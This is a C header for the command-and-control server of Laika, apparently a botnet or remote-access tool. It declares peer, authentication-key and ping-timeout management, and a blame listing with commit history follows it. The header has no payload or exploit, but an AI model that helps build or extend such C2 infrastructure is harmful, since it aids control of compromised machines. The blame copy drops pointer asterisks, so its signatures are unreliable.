Laika/cnc/include/cnc.h

#ifndef LAIKA_CNC_H
#define LAIKA_CNC_H

#include "core/hashmap.h"
#include "core/lmem.h"
#include "core/ltask.h"
#include "laika.h"
#include "net/lpacket.h"
#include "net/lpeer.h"
#include "net/lpolllist.h"
#include "net/lsocket.h"

/* kill peers if they haven't ping'd within a minute */
#define LAIKA_PEER_TIMEOUT 60 * 1000

typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData);

struct sLaika_cnc
{
    uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
    struct sLaika_socket sock;
    struct sLaika_pollList pList;
    struct hashmap *peers;          /* holds all peers, lookup using pubkey */
    laikaM_newVector(struct sLaika_peer *, authPeers); /* holds connected panel peers */
    laikaM_newVector(uint8_t *, authKeys);
    uint16_t port;
};

struct sLaika_cnc *laikaC_newCNC(uint16_t port);
void laikaC_freeCNC(struct sLaika_cnc *cnc);

void laikaC_bindServer(struct sLaika_cnc *cnc);

void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);

void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type);

void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *panel);

void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key);

void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout);
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);

struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub);

/* kills peers who haven't ping'd in a while */
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task,
                           clock_t currTick, void *uData);

bool laikaC_iterPeersNext(struct sLaika_cnc *cnc, size_t *i, struct sLaika_peer **peer);
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);

#endif
Inital commit lib/ is just [FoxNet](https://git.openpunk.com/CPunch/FoxNet) ported to C99 2022-01-24 03:28:16 +00:00			`#ifndef LAIKA_CNC_H`
			`#define LAIKA_CNC_H`

Refactoring: reorganized files 2022-09-02 01:00:37 +00:00			`#include "core/hashmap.h"`
			`#include "core/lmem.h"`
			`#include "core/ltask.h"`
Inital commit lib/ is just [FoxNet](https://git.openpunk.com/CPunch/FoxNet) ported to C99 2022-01-24 03:28:16 +00:00			`#include "laika.h"`
Refactoring: reorganized files 2022-09-02 01:00:37 +00:00			`#include "net/lpacket.h"`
			`#include "net/lpeer.h"`
			`#include "net/lpolllist.h"`
			`#include "net/lsocket.h"`
Major refactoring lots and lots of changes. too many to list tbh, might rebase this commit later if i get bored enough. 2022-02-28 22:27:55 +00:00
Added LAIKAPKT_PINGPONG - shell now has it's own task service, it's polled in shellC_poll() - default timeout for peers is 60 seconds, to change this edit the LAIKA_PEER_TIMEOUT in cnc.h 2022-04-13 17:19:06 +00:00			`/* kill peers if they haven't ping'd within a minute */`
			`#define LAIKA_PEER_TIMEOUT 60 * 1000`

Major refactoring lots and lots of changes. too many to list tbh, might rebase this commit later if i get bored enough. 2022-02-28 22:27:55 +00:00			`typedef bool (tLaika_peerIter)(struct sLaika_peer peer, void *uData);`

Added .clang-format, formatted codebase 2022-06-27 23:57:00 +00:00			`struct sLaika_cnc`
			`{`
Key exchange refactoring! - LAIKAPKT_HANDSHAKE_REQ now only sends the bot's pub key a shared key is generated using the other peer's pub key, allowing for fully encrypted packet bodies, (packet ID is left in plain-text) - laikaS_startOutPacket(), laikaS_endOutPacket(), laikaS_startInPacket() & laikaS_endInPacket() have been added. - laikaS_setSecure() has been added to turn on/off encrypted packets. - genKey now generates kx keypairs - major refactoring for relevant packet handlers - variadic packets have been temporarily disabled 2022-02-03 22:25:49 +00:00			`uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];`
Inital commit lib/ is just [FoxNet](https://git.openpunk.com/CPunch/FoxNet) ported to C99 2022-01-24 03:28:16 +00:00			`struct sLaika_socket sock;`
started cnc.[ch], lpeer.c no longer catches errors, instead cnc.c handles error events 2022-01-24 16:34:30 +00:00			`struct sLaika_pollList pList;`
Added .clang-format, formatted codebase 2022-06-27 23:57:00 +00:00			`struct hashmap peers; / holds all peers, lookup using pubkey */`
cnc: migrate to new vector API 2022-09-02 00:12:13 +00:00			`laikaM_newVector(struct sLaika_peer , authPeers); / holds connected panel peers */`
			`laikaM_newVector(uint8_t *, authKeys);`
Added config inis, key refactoring - CNC can accept multiple different auth keys now - laikaK_checkAuth() added - shell defaults to using shell.ini config file - CNC doesn't require a config file however it's highly recommended 2022-04-06 04:57:37 +00:00			`uint16_t port;`
started cnc.[ch], lpeer.c no longer catches errors, instead cnc.c handles error events 2022-01-24 16:34:30 +00:00			`};`

			`struct sLaika_cnc *laikaC_newCNC(uint16_t port);`
			`void laikaC_freeCNC(struct sLaika_cnc *cnc);`

Added config inis, key refactoring - CNC can accept multiple different auth keys now - laikaK_checkAuth() added - shell defaults to using shell.ini config file - CNC doesn't require a config file however it's highly recommended 2022-04-06 04:57:37 +00:00			`void laikaC_bindServer(struct sLaika_cnc *cnc);`

Added cnc's panel list, minor refactoring of packets 2022-02-13 00:21:59 +00:00			`void laikaC_onAddPeer(struct sLaika_cnc cnc, struct sLaika_peer peer);`
			`void laikaC_onRmvPeer(struct sLaika_cnc cnc, struct sLaika_peer peer);`

Major refactoring lots and lots of changes. too many to list tbh, might rebase this commit later if i get bored enough. 2022-02-28 22:27:55 +00:00			`void laikaC_setPeerType(struct sLaika_cnc cnc, struct sLaika_peer peer, PEERTYPE type);`

			`void laikaC_addAuth(struct sLaika_cnc cnc, struct sLaika_peer panel);`
			`void laikaC_rmvAuth(struct sLaika_cnc cnc, struct sLaika_peer panel);`
Added cnc's panel list, minor refactoring of packets 2022-02-13 00:21:59 +00:00
Added config inis, key refactoring - CNC can accept multiple different auth keys now - laikaK_checkAuth() added - shell defaults to using shell.ini config file - CNC doesn't require a config file however it's highly recommended 2022-04-06 04:57:37 +00:00			`void laikaC_addAuthKey(struct sLaika_cnc cnc, const char key);`

started cnc.[ch], lpeer.c no longer catches errors, instead cnc.c handles error events 2022-01-24 16:34:30 +00:00			`void laikaC_killPeer(struct sLaika_cnc cnc, struct sLaika_peer peer);`
			`bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout);`
Major refactoring lots and lots of changes. too many to list tbh, might rebase this commit later if i get bored enough. 2022-02-28 22:27:55 +00:00			`void laikaC_iterPeers(struct sLaika_cnc cnc, tLaika_peerIter iter, void uData);`

			`struct sLaika_peer laikaC_getPeerByPub(struct sLaika_cnc cnc, uint8_t *pub);`
Inital commit lib/ is just [FoxNet](https://git.openpunk.com/CPunch/FoxNet) ported to C99 2022-01-24 03:28:16 +00:00
Added LAIKAPKT_PINGPONG - shell now has it's own task service, it's polled in shellC_poll() - default timeout for peers is 60 seconds, to change this edit the LAIKA_PEER_TIMEOUT in cnc.h 2022-04-13 17:19:06 +00:00			`/* kills peers who haven't ping'd in a while */`
Added .clang-format, formatted codebase 2022-06-27 23:57:00 +00:00			`void laikaC_sweepPeersTask(struct sLaika_taskService service, struct sLaika_task task,`
			`clock_t currTick, void *uData);`
Added LAIKAPKT_PINGPONG - shell now has it's own task service, it's polled in shellC_poll() - default timeout for peers is 60 seconds, to change this edit the LAIKA_PEER_TIMEOUT in cnc.h 2022-04-13 17:19:06 +00:00
CNC: use laikaC_iterPeersNext for sweepPeersTask 2022-08-03 20:20:00 +00:00			`bool laikaC_iterPeersNext(struct sLaika_cnc cnc, size_t i, struct sLaika_peer **peer);`
Added LAIKAPKT_PINGPONG - shell now has it's own task service, it's polled in shellC_poll() - default timeout for peers is 60 seconds, to change this edit the LAIKA_PEER_TIMEOUT in cnc.h 2022-04-13 17:19:06 +00:00			`void laikaC_iterPeers(struct sLaika_cnc cnc, tLaika_peerIter iter, void uData);`

CNC: use laikaC_iterPeersNext for sweepPeersTask 2022-08-03 20:20:00 +00:00			`#endif`